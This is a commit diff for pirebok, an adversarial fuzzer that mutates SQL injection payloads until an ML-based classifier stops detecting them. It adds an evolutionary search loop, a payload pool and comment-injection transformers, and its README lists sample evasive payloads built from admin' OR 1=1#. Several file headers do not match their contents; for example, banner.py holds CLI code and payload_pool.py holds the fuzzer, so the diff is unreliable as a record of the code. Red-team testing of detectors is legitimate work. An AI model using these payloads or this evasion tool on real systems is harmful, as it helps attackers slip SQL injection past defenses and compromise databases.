feat: evolutionary guided fuzzer, banner, comment injection

Author: dogancanbakir

CHANGELOG.md

@@ -22,3 +22,8 @@
 
 
 ## [Unreleased]
+### Added
+- Iterative evolutionary search for `GuidedRandomSqlFuzzer`
+- `PayloadPool` — priority queue for ranked payloads with deduplication
+- `RandomCommentInjectionTransformer` — inject `/**/` at random token boundaries
+- `--max-rounds`, `--round-size`, `--timeout` CLI options and builder methods

README.md

@@ -1,4 +1,4 @@
-# pîrebok (from Kurdish "witch") - a guided adversarial fuzzer
+# pîrebok (from Kurdish "witch") - a guided adversarial fuzzer with evolutionary search
 
 
 [![pypi](https://img.shields.io/pypi/v/pirebok.svg)](https://pypi.org/project/pirebok/)
@@ -13,11 +13,46 @@
 * PyPI: <https://pypi.org/project/pirebok/>
 * Free software: MIT
 
+## How it works
+
+Give it a payload. It mutates it until it bypasses the classifier.
+
+```bash
+pirebok -f GuidedRandomSqlFuzzer -p "admin' OR 1=1#" -s 5 -q
+```
+
+```
+"admin' OR%001313<>1314#"
+'admin\'/*%%0x9*/|| 1=1 || "iD" NOT LIKE "iD"#'
+"ADmIn'/*>SQN*//**//*h[xI*/or/*p*//**/0X1=0X1#s<"
+'AdMin\'\x0c|| "b"<>"bV"#;YR\x0b'
+'aDMin\'||"Mce"%%231BF7%%0ALiKE%00"McE"#>wgpxX'
+```
+
+The original `admin' OR 1=1#` is classified as **sqli with 100% confidence**. After evolutionary mutations, the classifier misclassifies them as xss with confidence dropping to **0.48** - below the detection threshold.
+
+| Confidence | Classification | Payload |
+|---|---|---|
+| 1.0000 | sqli | `admin' OR 1=1#` |
+| 0.7808 | xss | `admin'/*PCvp<a*/\|\|%000x1=0x1#i>` |
+| 0.4785 | xss | `ADmiN'%%0x39441%%0aOr/**/'Te'<>'TeD'#-HLa.` |
+
+## Install
+
+```bash
+pip install pirebok
+
+# for guided mode (requires metamaska)
+pip install pirebok[guided]
+```
 
 ## Features
 - Random generic fuzzer w/ multiple transformers
 - Random sql fuzzer w/ multiple transformers
-- Guided random sql fuzzer w/ multiple transformers and [metamaska](https://github.com/HappyHackingSpace/metamaska)
+- Guided random sql fuzzer w/ iterative evolutionary search and [metamaska](https://github.com/HappyHackingSpace/metamaska)
+  - Priority-queue-based payload pool ranked by confidence
+  - Configurable `max_rounds`, `round_size`, and `timeout`
+- Random comment injection transformer (`/**/` at token boundaries)
 
 ## Credits
 - [Cookiecutter](https://github.com/audreyr/cookiecutter)

docs/usage.md

@@ -2,23 +2,53 @@
 
 To use pirebok in a project
 
-```
+```python
 from pirebok.fuzzers import FuzzerBuilder
 fuzzer_builder = FuzzerBuilder()
 fuzzer = fuzzer_builder.choice("RandomGenericFuzzer").build()
 fuzzer.fuzz("<script> ")
 ```
 
+For the guided fuzzer with evolutionary search parameters:
+
+```python
+from pirebok.fuzzers import FuzzerBuilder
+fuzzer = (
+    FuzzerBuilder()
+    .choice("GuidedRandomSqlFuzzer")
+    .threshold(0.5)
+    .max_rounds(100)
+    .round_size(20)
+    .timeout(30)
+    .build()
+)
+fuzzer.fuzz("admin' OR 1=1#")
+```
+
 To use from CLI
 
 ```
 pirebok --help
 Usage: pirebok [OPTIONS]
 
 Options:
-  -f, --fuzzer [RandomGenericFuzzer|GuidedRandomSqlFuzzer|RandomSqlFuzzer]
+  -f, --fuzzer [randomgenericfuzzer|guidedrandomsqlfuzzer|randomsqlfuzzer]
                                   choose fuzzer  [required]
-  -s, --steps INTEGER             Number of iteration
-  -p, --payload TEXT              payload to fuzz  [required]
+  -s, --steps INTEGER             Number of iteration  [default: 10]
+  -t, --threshold FLOAT           Threshold for the guided fuzzers  [default: 0.5]
+  --max-rounds INTEGER            Maximum mutation rounds for guided fuzzers  [default: 100]
+  --round-size INTEGER            Mutations per round for guided fuzzers  [default: 20]
+  --timeout INTEGER               Timeout in seconds, 0=unlimited  [default: 0]
+  -p, --payload TEXT              Payload to fuzz  [required]
   --help                          Show this message and exit.
 ```
+
+### Guided fuzzer options
+
+| Option | Default | Description |
+|--------|---------|-------------|
+| `--max-rounds` | 100 | Maximum number of evolutionary mutation rounds per `fuzz()` call |
+| `--round-size` | 20 | Number of mutations generated per round |
+| `--timeout` | 0 | Timeout in seconds (0 = unlimited) |
+| `-t, --threshold` | 0.5 | WAF confidence threshold — stop when confidence drops below this |
+| `-s, --steps` | 10 | Number of independent `fuzz()` calls. For deep search use `--steps 1` with high `--max-rounds` |

pirebok/banner.py

@@ -1,13 +1,20 @@
+import sys
 from functools import reduce
 from operator import iconcat
 
 import click
-from tqdm.auto import trange
-
+from pirebok.banner import banner
 from pirebok.fuzzers import Fuzzer, FuzzerBuilder
 
 
-@click.command(no_args_is_help=True, context_settings={'show_default': True})
+class BannerCommand(click.Command):
+    def format_help(self, ctx: click.Context, formatter: click.HelpFormatter) -> None:
+        if not ctx.params.get("silent"):
+            print(banner(), file=sys.stderr)
+        super().format_help(ctx, formatter)
+
+
+@click.command(cls=BannerCommand, no_args_is_help=True, context_settings={'show_default': True})
 @click.option(
     "-f",
     "--fuzzer",
@@ -20,11 +27,33 @@
 )
 @click.option("-s", "--steps", default=10, help="Number of iteration")
 @click.option("-t", "--threshold", default=0.5, help="Threshold for the guided fuzzers")
+@click.option("--max-rounds", default=100, help="Maximum mutation rounds for guided fuzzers")
+@click.option("--round-size", default=20, help="Mutations per round for guided fuzzers")
+@click.option("--timeout", default=0, help="Timeout in seconds, 0=unlimited")
 @click.option("-p", "--payload", required=True, help="Payload to fuzz")
-def main(fuzzer: str, steps: int, threshold: float, payload: str) -> None:
+@click.option("-q", "--silent", is_flag=True, default=False, help="Suppress banner")
+def main(
+    fuzzer: str,
+    steps: int,
+    threshold: float,
+    max_rounds: int,
+    round_size: int,
+    timeout: int,
+    payload: str,
+    silent: bool,
+) -> None:
+    if not silent:
+        print(banner(), file=sys.stderr)
     fuzzer_builder = FuzzerBuilder()
-    fzzer = fuzzer_builder.choice(fuzzer).threshold(threshold).build()
-    print("\n".join(map(repr, set(map(lambda _: fzzer.fuzz(payload), trange(steps))))))
+    fzzer = (
+        fuzzer_builder.choice(fuzzer)
+        .threshold(threshold)
+        .max_rounds(max_rounds)
+        .round_size(round_size)
+        .timeout(timeout)
+        .build()
+    )
+    print("\n".join(map(repr, set(map(lambda _: fzzer.fuzz(payload), range(steps))))))
 
 
 if __name__ == "__main__":

pirebok/cli.py

@@ -4,6 +4,7 @@
 from .fuzzer_visitor import FuzzerVisitor
 from .generic.random_generic_fuzzer import RandomGenericFuzzer
 from .generic_fuzzer import GenericFuzzer
+from .payload_pool import PayloadPool
 from .sql.guided_random_sql_fuzzer import GuidedRandomSqlFuzzer
 from .sql.random_sql_fuzzer import RandomSqlFuzzer
 from .sql_fuzzer import SqlFuzzer

pirebok/fuzzers/__init__.py

@@ -31,5 +31,17 @@ def threshold(self, threshold: float) -> FuzzerBuilder:
         self.fuzzer.threshold = threshold  # type: ignore
         return self
 
+    def max_rounds(self, max_rounds: int) -> FuzzerBuilder:
+        self.fuzzer.max_rounds = max_rounds  # type: ignore
+        return self
+
+    def round_size(self, round_size: int) -> FuzzerBuilder:
+        self.fuzzer.round_size = round_size  # type: ignore
+        return self
+
+    def timeout(self, timeout: int) -> FuzzerBuilder:
+        self.fuzzer.timeout = timeout  # type: ignore
+        return self
+
     def build(self) -> Fuzzer:
         return self.fuzzer

pirebok/fuzzers/fuzzer_builder.py

@@ -0,0 +1,25 @@
+import heapq
+
+
+class PayloadPool:
+    def __init__(self) -> None:
+        self._heap: list[tuple[float, str]] = []
+        self._seen: set[str] = set()
+
+    def push(self, confidence: float, payload: str) -> None:
+        if payload in self._seen:
+            return
+        self._seen.add(payload)
+        heapq.heappush(self._heap, (confidence, payload))
+
+    def pop(self) -> tuple[float, str]:
+        return heapq.heappop(self._heap)
+
+    def peek(self) -> tuple[float, str]:
+        return self._heap[0]
+
+    def __len__(self) -> int:
+        return len(self._heap)
+
+    def __bool__(self) -> bool:
+        return len(self._heap) > 0

pirebok/fuzzers/payload_pool.py

@@ -1,7 +1,9 @@
 import random
+import time
 from typing import Sequence
 
 from pirebok.fuzzers.fuzzer_visitor import FuzzerVisitor
+from pirebok.fuzzers.payload_pool import PayloadPool
 from pirebok.fuzzers.sql_fuzzer import SqlFuzzer
 from pirebok.transformers import Transformer
 
@@ -10,16 +12,51 @@ class GuidedRandomSqlFuzzer(SqlFuzzer):
     def __init__(self, transformers: Sequence[Transformer]) -> None:
         super().__init__(transformers)
         self.threshold: float
+        self.max_rounds: int = 100
+        self.round_size: int = 20
+        self.timeout: int = 0
+
+    def _mutation_round(self, payload: str, round_size: int) -> set[str]:
+        return {random.choice(self.transformers).transform(payload) for _ in range(round_size)}
 
     def fuzz(self, payload: str) -> str:
         from metamaska.metamaska import Metamaska
 
         metamask = Metamaska()
-        payload_buff = random.choice(self.transformers).transform(payload)
-        cls, proba = metamask.form(payload_buff, True)
-        if cls == "sqli" and proba < self.threshold:
-            return payload_buff
-        return payload
+        pool = PayloadPool()
+
+        cls, proba = metamask.form(payload, True)
+        confidence = proba if cls == "sqli" else 0.0
+        pool.push(confidence, payload)
+
+        best_confidence = confidence
+        best_payload = payload
+
+        deadline = (time.monotonic() + self.timeout) if self.timeout > 0 else 0.0
+
+        for _ in range(self.max_rounds):
+            if deadline and time.monotonic() >= deadline:
+                break
+            if best_confidence < self.threshold:
+                break
+            if not pool:
+                break
+
+            candidate_confidence, candidate = pool.pop()
+            mutations = self._mutation_round(candidate, self.round_size)
+
+            for mutated in mutations:
+                cls, proba = metamask.form(mutated, True)
+                mutation_confidence = proba if cls == "sqli" else 0.0
+                pool.push(mutation_confidence, mutated)
+
+                if mutation_confidence < best_confidence:
+                    best_confidence = mutation_confidence
+                    best_payload = mutated
+
+            pool.push(candidate_confidence, candidate)
+
+        return best_payload
 
     def accept(self, visitor: FuzzerVisitor) -> None:
         visitor.visit_sql(self)

pirebok/fuzzers/sql/guided_random_sql_fuzzer.py

@@ -1,4 +1,5 @@
 from .generic.random_case_swapping_transformer import RandomCaseSwappingTransformer
+from .generic.random_comment_injection_transformer import RandomCommentInjectionTransformer
 from .generic.random_comment_removing_transformer import RandomCommentRemovingTransformer
 from .generic.random_comment_rewriting_transformer import RandomCommentRewritingTransformer
 from .generic.random_number_encoding_transformer import RandomNumberEncodingTransformer